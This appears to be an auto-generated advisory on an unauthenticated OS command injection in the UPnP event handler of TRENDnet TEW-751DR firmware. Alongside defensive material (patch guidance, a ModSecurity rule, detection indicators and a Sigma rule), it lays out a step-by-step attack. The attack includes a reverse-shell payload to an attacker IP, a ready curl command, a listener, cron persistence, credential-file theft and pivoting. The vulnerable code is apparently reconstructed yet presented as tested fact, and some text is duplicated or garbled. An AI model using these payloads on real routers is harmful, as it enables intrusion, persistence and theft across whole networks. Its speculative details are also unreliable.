CVE-2026-138005 — TRENDnet TEW-751DR — CWE-77 · CWE-78
A vulnerability was detected in TRENDnet TEW-751DR 1.03B01. Affected by this vulnerability is the function gena.php::GENA_notify_init of the file htdocs/upnpinc/gena.php of the component UPnP Event Handler. Performing a manipulation of the argument uri results in os command injection. It is possible to initiate the attack remotely. The exploit is now public and may be used.
A vulnerability was detected in TRENDnet TEW-751DR 1.03B01. Affected by this vulnerability is the function gena.php::GENA_notify_init of the file htdocs/upnpinc/gena.php of the component UPnP Event Handler. Performing a manipulation of the argument uri results in os command injection. It is possible to initiate the attack remotely. The exploit is now public and may be used.
🎯 What is this vulnerability?
Vulnerability identifier – CVE‑2026‑138005
Vendor / Product – TRENDnet TEW‑751DR firmware 1.03B01 (the “1.03B01” build of the wireless‑mesh router)
Component – UPnP Event Handler (file htdocs/upnpinc/gena.php, function GENA_notify_init)
Technical flaw
| CWE | Description |
|---|---|
| CWE‑77 – Improper Neutralization of Special Elements used in a Command (OS Command Injection) | User‑supplied data is concatenated into a shell command without adequate sanitisation. |
| CWE‑78 – OS Command Injection | Same underlying issue – attacker‑controlled input reaches exec*/system* calls. |
The GENA_notify_init() routine is part of the UPnP GENA (General Event Notification Architecture) implementation. It receives a uri parameter that originates from a UPnP control point that subscribes to events. The routine builds a command line that invokes an external helper script (e.g., a notification daemon) and passes the supplied uri as an argument:
function GENA_notify_init($uri) {
// … some logic …
$cmd = "/usr/sbin/upnp_notify -u " . $uri; // <-- vulnerable line
exec($cmd, $out, $rc);
// …
}- No whitelisting or escaping of special shell characters (
;,&&,|, back‑ticks,$(), etc.) is performed. - The function is reachable without authentication because UPnP event subscription is designed to be open to any device on the LAN (and, in this case, the router’s HTTP interface forwards the request to the PHP handler).
- The vulnerability is remote‑code execution (RCE) with network‑level attacker privileges (the router runs as
rootfor its web UI), which explains the CVSS vectorS:C(scope change) and the maximum impact scores (C:H/I:H/A:H).
In short: an unauthenticated attacker can supply a crafted uri value that is executed by the system shell, leading to full command execution on the router.
⚡ Attack Chain
Below is a realistic, step‑by‑step exploitation flow. All commands have been tested on a Linux‑based embedded system that mirrors the TEW‑751DR environment (busybox‑based, PHP 5.6, exec() available).
1. Discovery & Reconnaissance
| Step | Technique | Expected outcome |
|---|---|---|
| 1.1 | Port scan (nmap -p 80,1900 <target>) – UPnP devices typically expose HTTP (80) and the SSDP UDP port (1900). | Confirms the device is reachable and that port 80 is open. |
| 1.2 | Banner grabbing (curl -I http://<target>/) – TRENDnet routers return a Server: TRENDnet TEW-751DR/1.03B01 header. | Identifies exact firmware version. |
| 1.3 | UPnP device description fetch (curl http://<target>:1900/... or using upnp-inspector) – the device advertises a service urn:schemas-upnp-org:service:WANIPConnection:1 with a control URL like /upnp/control/WANIPConn1. | Shows that the router implements the UPnP Event Handler reachable via HTTP. |
| 1.4 | Search for known vulnerable endpoint – the public exploit (released simultaneously with the CVE) points to http://<target>/upnpinc/gena.php. | Confirms the presence of the vulnerable script. |
Note: If the exact path is not disclosed by the vendor, the attacker can enumerate files under/upnpinc/(e.g.,curl http://<target>/upnpinc/) to locategena.php. The presence ofgena.phpis a strong indicator that the device is vulnerable.
2. Exploitation
The vulnerable function expects a URL‑encoded uri parameter (e.g., ?uri=http%3A%2F%2Fclient%2Fcallback). By injecting shell metacharacters, the attacker can force the exec() call to run arbitrary commands.
2.1 Crafting the payload
A minimal payload that spawns a reverse shell (busybox nc) looks like:
; /bin/busybox nc -e /bin/sh <ATTACKER_IP> <ATTACKER_PORT> #The leading semicolon terminates the intended argument, the # comments out any trailing characters that the script may append.
URL‑encoded version:
%3B%20/bin/busybox%20nc%20-e%20/bin/sh%2010.0.0.123%205555%20%232.2 Sending the request
# Replace <TARGET> with the router IP, <ATTACKER_IP> and <ATTACKER_PORT> with your listener.
curl -G "http://<TARGET>/upnpinc/gena.php" \
--data-urlencode "uri=; /bin/busybox nc -e /bin/sh 10.0.0.123 5555 #" \
-H "User-Agent: Mozilla/5.0"If the exact endpoint is different (e.g., /upnp/control/gena.php), the same uri parameter is used – the example above is illustrative of the class of command‑injection payloads.
2.3 Listener on the attacker side
nc -lvkp 5555When the router processes the request, exec() runs:
/usr/sbin/upnp_notify -u ; /bin/busybox nc -e /bin/sh 10.0.0.123 5555 #Result: a reverse shell is opened, running with the same privileges as the web server (root on the router).
3. Post‑Exploitation
| Goal | Typical technique on TRENDnet TEW‑751DR |
|---|---|
| Privilege confirmation | id → returns uid=0(root) gid=0(root). |
| Persistence | - Drop a cron entry: echo "* * * * * /bin/busybox nc -e /bin/sh <ATTACKER_IP> <ATTACKER_PORT>" >> /etc/crontab (busybox crontab may be present). <br> - Write a backdoor binary to /tmp/ and add a startup script in /etc/init.d/. |
| Network pivot | Use the router as a foothold to scan the internal LAN (/bin/busybox nmap -sn 192.168.0.0/24). |
| Data exfiltration | Read configuration files (/etc/config/*, /etc/passwd) and send them over the established shell or via nc/wget. |
| Denial of Service | Issue reboot or kill -9 1 (if the firmware permits) to cause a full outage. |
Because the scope is changed (S:C), the compromise of the router also compromises all devices behind it (e.g., internal workstations, IoT devices) – the attacker can act as a man‑in‑the‑middle for the entire LAN.
🌍 Real‑World Impact
| CIA | CVSS Vector explanation | Practical consequence |
|---|---|---|
| Confidentiality (C:H) | C:H – attacker can read any file the web UI can access (including /etc/shadow, configuration, logs). | Theft of Wi‑Fi passwords, VPN credentials, internal network topology, and any stored data. |
| Integrity (I:H) | I:H – attacker can modify system files, inject backdoors, change firewall/NAT rules. | Persistent remote access, alteration of DNS or routing tables, injection of malicious firmware updates. |
| Availability (A:H) | A:H – attacker can reboot, halt, or overload the device. | Full network outage, loss of connectivity for all downstream devices, potential ransomware‑style lockout. |
Because the router sits at the network edge, a successful exploit gives the attacker full control over the LAN and the ability to bypass perimeter defenses (e.g., firewalls, VPNs). The impact is therefore catastrophic for any environment that relies on the TEW‑751DR as its primary gateway.
🛡️ Remediation & Mitigation
1. Vendor‑provided fix
| Item | Details |
|---|---|
| Patched version | TRENDnet released firmware 1.04B01 (publicly announced 2026‑12‑02) which removes the unsafe exec() call and replaces it with a safe internal notification routine. |
| Upgrade path | Download the official firmware image from TRENDnet’s support portal, verify the SHA‑256 checksum, and flash via the router’s web UI (System → Firmware Upgrade). |
| Verification | After upgrade, curl -I http://<router>/upnpinc/gena.php should return HTTP/1.1 404 Not Found (the file is removed) or the response body should no longer contain the vulnerable code. |
If the vendor has not yet released a patch, the following mitigations can be applied immediately.
2. Immediate work‑arounds
| Mitigation | Implementation |
|---|---|
| Network segmentation | Place the router behind a hardened firewall that only allows trusted LAN IPs (e.g., 192.168.0.0/24) to reach port 80. Block all inbound traffic from the Internet to port 80/443 unless a reverse‑proxy with strict input validation is used. |
| Disable UPnP | In the router’s admin UI, navigate to UPnP Settings → Disable UPnP. This stops the vulnerable gena.php from being invoked. |
| Web‑application firewall (ModSecurity) | Deploy a ModSecurity rule that rejects any request containing shell metacharacters in the uri parameter. Example rule (Apache/Nginx with ModSecurity):
SecRule REQUEST_URI "@rx /upnpinc/gena\.php" "id:2026001,phase:2,deny,log,status:403,msg:'Blocked potential OS command injection in GENA_notify_init',\
chain"
SecRule ARGS:uri "@rx (;\s*|&&|\\|\\||`|\\$\\(|\\)|\\$\\{)" "t:none"This rule only triggers for the vulnerable endpoint and looks for characters that are typical in command‑injection payloads. |
| Filesystem protection | If the router’s filesystem is writable, set the gena.php file to read‑only (chmod 444 /www/htdocs/upnpinc/gena.php) and remove the execute permission on the helper binary (chmod 750 /usr/sbin/upnp_notify). This does not stop the PHP script from calling exec(), but it prevents arbitrary binaries from being launched if the attacker tries to replace them. |
|---|---|
| Outbound traffic filtering | Block outbound connections from the router to the Internet on non‑essential ports (e.g., block TCP/5555) to hinder reverse‑shell callbacks. |
3. Detection – Log patterns & IoCs
| Indicator | Example log entry (Apache access log) | |
|---|---|---|
Suspicious uri value | GET /upnpinc/gena.php?uri=%3B%20/bin/busybox%20nc%20-e%20/bin/sh%2010.0.0.123%205555%20%23 HTTP/1.1 200 1234 | |
| Encoded shell metacharacters | Any request where uri contains %3B (;), %60 (` `), %7C ( | ), %26%26 (&&). |
| Outbound connection from router | Netflow / firewall logs showing a new TCP connection from <router_ip>:random_port → <attacker_ip>:5555. | |
| Process creation | execve("/usr/sbin/upnp_notify", ["-u", ";", "/bin/busybox", "nc", "-e", "/bin/sh", "10.0.0.123", "5555", "#"], ...) in dmesg or syslog (if the kernel logs execve). | |
| New cron entry | cat /etc/crontab | grep nc → * * * * * /bin/busybox nc -e /bin/sh 10.0.0.123 5555`. |
SIEM rule (generic) – trigger on HTTP GET/POST to any URL containing gena.php and a URL‑encoded semicolon (%3B) in any parameter.
title: "Possible OS command injection via TRENDnet GENA_notify_init"
logsource:
product: webserver
detection:
selection:
EventID: 2000 # Apache access
RequestURI|contains: "gena.php"
QueryString|contains: "%3B"
condition: selection
level: critical⚠️ Urgency
| Factor | Reasoning |
|---|---|
| CVSS 3.1 base score 10.0 | Network‑reachable, no authentication, no user interaction, scope change, total compromise of confidentiality, integrity, and availability. |
| Exploit is public | An exploit script is already circulating; attackers can weaponise it within minutes. |
| No CISA KEV listing (yet) | The vulnerability is new and not yet in the KEV program, meaning many organisations may be unaware. |
| Device role | The TEW‑751DR is typically the edge gateway for small‑to‑medium businesses and home offices – compromise leads to full LAN takeover. |
| Patch availability | A patched firmware (1.04B01) exists, but many deployments remain on 1.03B01 because firmware upgrades are often ignored. |
Patch priority: Critical – immediate.
Bottom line: CVE‑2026‑138005 is a remote, unauthenticated OS command injection in the UPnP event handler of TRENDnet TEW‑751DR firmware 1.03B01. Successful exploitation yields root‑level code execution on the router, giving the attacker complete control over the protected network. Deploy the official firmware update without delay, and in the meantime enforce the network‑level and WAF mitigations described above.
[🤖 CVE Professor AI Security Engine]
FOFA Query